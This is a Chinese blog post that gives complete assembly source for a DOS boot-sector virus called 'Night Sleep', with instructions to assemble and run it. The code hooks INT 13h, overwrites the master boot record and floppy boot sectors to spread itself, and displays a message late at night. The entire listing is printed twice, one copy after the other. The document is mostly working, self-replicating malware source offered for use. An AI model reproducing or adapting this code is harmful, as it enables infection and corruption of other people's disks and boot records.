English Sentence Loading...
英语句子加载中...
用汇编写引导区病毒
作者:junyuqin 日期:2007-05-04
;引导区病毒样例
;制作方法:tasm boot.asm; tlink boot.asm;
;生成boot.exe,执行即可
.286
.model small
.code
;程序入口参数
;ax=内存高端地址 bx=7c00h 引导程序起始地址
;cx=0001h 表示从ch(00)磁道cl(01)扇区读出了本程序
;dx=00/80h 表示从dx(00:A驱)(80:C驱)读出了本程序
;ds=es=ss=cs=0 初始段值
OFF EQU <OFFSET>
VirusSize=OFF @@END-OFF @@Start
@@Start:
JMP SHORT @@Begin
VirusFlag DB 'V' ;病毒标志
@@BootData: ;这里有两个重要数据结构,不能是代码
orG 50h ;病毒从Offset50h开始,病毒未用以上数据
@@Begin: ;但其它程序可能使用,故须保留
MOV BX,7c00h
MOV SP,BX ;设sp,使ss:sp=0:7c00h
STI
MOV AX,DS:[413h] ;得到内存大小(0:413h单元存有以K计数的内存大小)
DEC AX
DEC AX
MOV DS:[413h],AX ;将原内存大小减2K
MOV CL,06
SHL AX,CL ;计算高端内存地址
MOV ES,AX
XOR DI,DI
MOV SI,SP
MOV CX,VirusSize
CLD
REP movsb ;把病毒搬移到高端地址里
PUSH AX
MOV DI,OFF @@HighAddr
PUSH DI
RETF ;跳到高端继续执行
@@HighAddr:
CLI ;修改中断向量前,最好关中断
XCHG DS:[13h*4+2],AX
MOV CS:[OldInt13Seg],AX
MOV AX,OFF @@NewInt13
XCHG DS:[13h*4],AX
MOV CS:[OldInt13Off],AX ;修改中断13h
PUSH DS
POP ES ;把es复位为0
CMP DL,80h ;是否从硬盘引导?
JZ SHORT @@ReadOldHardBoot
PUSH DX ; 从软盘引导,则传染硬盘
MOV DL,80h
CALL @@OptDisk ;调用传染模块
POP DX
@@ReadOldFlopyBoot: ;读出原软盘引导程序
MOV AX,0201h
MOV CX,79*100h+17 ;传染时将原引导程序保存在0面79道17扇区中
MOV DH,00h
CALL @@CallInt13
JC SHORT @@ReadOldFlopyBoot ;失败,继续读直到成功
@@ExecOldBoot:
CMP ES:[bx.Flags],0aa55h
JNZ @@ExecOldBoot
MOV AH,02h
INT 1ah ;取系统时间
CMP CX,22*100h+30 ;是否大于22:30分
JB @@ExitDisp ;未到,则不显示
LEA SI,VirusMsg
@@DispMsg:
MOV AL,CS:[SI]
INC SI
MOV AH,0eh
INT 10h ;显示al中的字符
or AL,AL
JNZ @@DispMsg
XOR AX,AX
INT 16h
@@ExitDisp:
MOV CX,0001h ;恢复cx初值
PUSH ES
PUSH BX
RETF ;去执行原引导程序
@@ReadOldHardBoot:
MOV AX,0201h
MOV CX,0002h ;传染时将原硬盘主引导程序保存在0面0道2扇区中
MOV DH,00h
CALL @@CallInt13 ;读出
JC SHORT @@ReadOldHardBoot ;失败,继续读直到成功
JMP SHORT @@ExecOldBoot ;去执行原引导程序
@@NewInt13: ;新Int 13h(传染块)
CMP DX,0000h ;是软盘吗?
JNZ SHORT @@JmpOldInt13
CMP AH,02h
JNZ SHORT @@JmpOldInt13
CMP CX,0001h
JNZ SHORT @@JmpOldInt13
CALL @@OptDisk ;若发现读软盘扇区,则感染软盘
@@JmpOldInt13:
CLI
JmpFar DB 0eah ;远跳转指令
OldInt13Off DW ?
OldInt13Seg DW ?
@@CallInt13:
PUSHF ;模拟Int 13h指令
PUSH CS
CALL @@JmpOldInt13
RET
@@OptDisk: ;传染dl表示的磁盘(dl-0 A: 80:C)
pusha
PUSH DS
PUSH ES ;保存段址与通用寄存器
PUSH CS
POP ES
PUSH CS
POP DS ;使ds=es=cs
MOV BX,OFF OldBootSpace
MOV AX,0201h
MOV CX,0001h
MOV DH,00h
CALL @@CallInt13 ;读原引导扇区
JC SHORT @@OptOver
MOV DI,BX
CMP DS:[di.VirusFlag],'V' ;判断是否已经有病毒?
JZ SHORT @@OptOver ;若有,则退出
CMP DL,00h
JZ SHORT @@IsOptFlopyDisk
@@IsOptHardDisk:
MOV CX,0002h ;若是硬盘,保存在0面0道2扇区
JMP SHORT @@SaveOldBoot
@@IsOptFlopyDisk:
MOV CX,79*100h+17 ;若是软盘,保存在0面79道17扇区
@@SaveOldBoot:
MOV AX,0301h
MOV DH,0h
CALL @@CallInt13 ;保存原引导扇区
JC SHORT @@OptOver
MOV SI,OFF @@Start
CLD
movsw
movsb ;修改原扇区首指令(Jmp near 3字节)
MOV DI,OFF @@Begin+200h
MOV SI,OFF @@Begin
MOV CX,OFF @@END-OFF @@Begin
CLD
REP movsb ;修改原引导扇区指令cx字节
MOV AX,0301h
MOV CX,0001h
MOV DH,00h
CALL @@CallInt13 ;写回已经被修改了的引导程序
@@OptOver: ;退出传染
POP ES
POP DS ;恢复段址与通用寄存器
popa
RET ;以下是病毒要显示的信息,与病毒版本信息
VirusMsg DB 0dh,0ah,07h,'Night is deep,you must go sleep!',0dh,0ah,0
DB 'Night Sleep ver 1.0,by whg 2001.5.5',0
@@END:
orG 1feh
Flags DW 0aa55h ;引导扇区有效标志
OldBootSpace DB 210h DUP(?) ;定义缓冲区
@@Install:
XOR AX,AX
MOV DS,AX
CLI
MOV AX,DS:[13h*4]
MOV CS:[OldInt13Off],AX
MOV AX,DS:[13h*4+2]
MOV CS:[OldInt13Seg],AX
MOV DL,80h
CALL @@OptDisk
MOV AX,4c00h
INT 21h
END @@Install
;制作方法:tasm boot.asm; tlink boot.asm;
;生成boot.exe,执行即可
.286
.model small
.code
;程序入口参数
;ax=内存高端地址 bx=7c00h 引导程序起始地址
;cx=0001h 表示从ch(00)磁道cl(01)扇区读出了本程序
;dx=00/80h 表示从dx(00:A驱)(80:C驱)读出了本程序
;ds=es=ss=cs=0 初始段值
OFF EQU <OFFSET>
VirusSize=OFF @@END-OFF @@Start
@@Start:
JMP SHORT @@Begin
VirusFlag DB 'V' ;病毒标志
@@BootData: ;这里有两个重要数据结构,不能是代码
orG 50h ;病毒从Offset50h开始,病毒未用以上数据
@@Begin: ;但其它程序可能使用,故须保留
MOV BX,7c00h
MOV SP,BX ;设sp,使ss:sp=0:7c00h
STI
MOV AX,DS:[413h] ;得到内存大小(0:413h单元存有以K计数的内存大小)
DEC AX
DEC AX
MOV DS:[413h],AX ;将原内存大小减2K
MOV CL,06
SHL AX,CL ;计算高端内存地址
MOV ES,AX
XOR DI,DI
MOV SI,SP
MOV CX,VirusSize
CLD
REP movsb ;把病毒搬移到高端地址里
PUSH AX
MOV DI,OFF @@HighAddr
PUSH DI
RETF ;跳到高端继续执行
@@HighAddr:
CLI ;修改中断向量前,最好关中断
XCHG DS:[13h*4+2],AX
MOV CS:[OldInt13Seg],AX
MOV AX,OFF @@NewInt13
XCHG DS:[13h*4],AX
MOV CS:[OldInt13Off],AX ;修改中断13h
PUSH DS
POP ES ;把es复位为0
CMP DL,80h ;是否从硬盘引导?
JZ SHORT @@ReadOldHardBoot
PUSH DX ; 从软盘引导,则传染硬盘
MOV DL,80h
CALL @@OptDisk ;调用传染模块
POP DX
@@ReadOldFlopyBoot: ;读出原软盘引导程序
MOV AX,0201h
MOV CX,79*100h+17 ;传染时将原引导程序保存在0面79道17扇区中
MOV DH,00h
CALL @@CallInt13
JC SHORT @@ReadOldFlopyBoot ;失败,继续读直到成功
@@ExecOldBoot:
CMP ES:[bx.Flags],0aa55h
JNZ @@ExecOldBoot
MOV AH,02h
INT 1ah ;取系统时间
CMP CX,22*100h+30 ;是否大于22:30分
JB @@ExitDisp ;未到,则不显示
LEA SI,VirusMsg
@@DispMsg:
MOV AL,CS:[SI]
INC SI
MOV AH,0eh
INT 10h ;显示al中的字符
or AL,AL
JNZ @@DispMsg
XOR AX,AX
INT 16h
@@ExitDisp:
MOV CX,0001h ;恢复cx初值
PUSH ES
PUSH BX
RETF ;去执行原引导程序
@@ReadOldHardBoot:
MOV AX,0201h
MOV CX,0002h ;传染时将原硬盘主引导程序保存在0面0道2扇区中
MOV DH,00h
CALL @@CallInt13 ;读出
JC SHORT @@ReadOldHardBoot ;失败,继续读直到成功
JMP SHORT @@ExecOldBoot ;去执行原引导程序
@@NewInt13: ;新Int 13h(传染块)
CMP DX,0000h ;是软盘吗?
JNZ SHORT @@JmpOldInt13
CMP AH,02h
JNZ SHORT @@JmpOldInt13
CMP CX,0001h
JNZ SHORT @@JmpOldInt13
CALL @@OptDisk ;若发现读软盘扇区,则感染软盘
@@JmpOldInt13:
CLI
JmpFar DB 0eah ;远跳转指令
OldInt13Off DW ?
OldInt13Seg DW ?
@@CallInt13:
PUSHF ;模拟Int 13h指令
PUSH CS
CALL @@JmpOldInt13
RET
@@OptDisk: ;传染dl表示的磁盘(dl-0 A: 80:C)
pusha
PUSH DS
PUSH ES ;保存段址与通用寄存器
PUSH CS
POP ES
PUSH CS
POP DS ;使ds=es=cs
MOV BX,OFF OldBootSpace
MOV AX,0201h
MOV CX,0001h
MOV DH,00h
CALL @@CallInt13 ;读原引导扇区
JC SHORT @@OptOver
MOV DI,BX
CMP DS:[di.VirusFlag],'V' ;判断是否已经有病毒?
JZ SHORT @@OptOver ;若有,则退出
CMP DL,00h
JZ SHORT @@IsOptFlopyDisk
@@IsOptHardDisk:
MOV CX,0002h ;若是硬盘,保存在0面0道2扇区
JMP SHORT @@SaveOldBoot
@@IsOptFlopyDisk:
MOV CX,79*100h+17 ;若是软盘,保存在0面79道17扇区
@@SaveOldBoot:
MOV AX,0301h
MOV DH,0h
CALL @@CallInt13 ;保存原引导扇区
JC SHORT @@OptOver
MOV SI,OFF @@Start
CLD
movsw
movsb ;修改原扇区首指令(Jmp near 3字节)
MOV DI,OFF @@Begin+200h
MOV SI,OFF @@Begin
MOV CX,OFF @@END-OFF @@Begin
CLD
REP movsb ;修改原引导扇区指令cx字节
MOV AX,0301h
MOV CX,0001h
MOV DH,00h
CALL @@CallInt13 ;写回已经被修改了的引导程序
@@OptOver: ;退出传染
POP ES
POP DS ;恢复段址与通用寄存器
popa
RET ;以下是病毒要显示的信息,与病毒版本信息
VirusMsg DB 0dh,0ah,07h,'Night is deep,you must go sleep!',0dh,0ah,0
DB 'Night Sleep ver 1.0,by whg 2001.5.5',0
@@END:
orG 1feh
Flags DW 0aa55h ;引导扇区有效标志
OldBootSpace DB 210h DUP(?) ;定义缓冲区
@@Install:
XOR AX,AX
MOV DS,AX
CLI
MOV AX,DS:[13h*4]
MOV CS:[OldInt13Off],AX
MOV AX,DS:[13h*4+2]
MOV CS:[OldInt13Seg],AX
MOV DL,80h
CALL @@OptDisk
MOV AX,4c00h
INT 21h
END @@Install
评论: 0 | 引用: 0 | 查看次数: 2614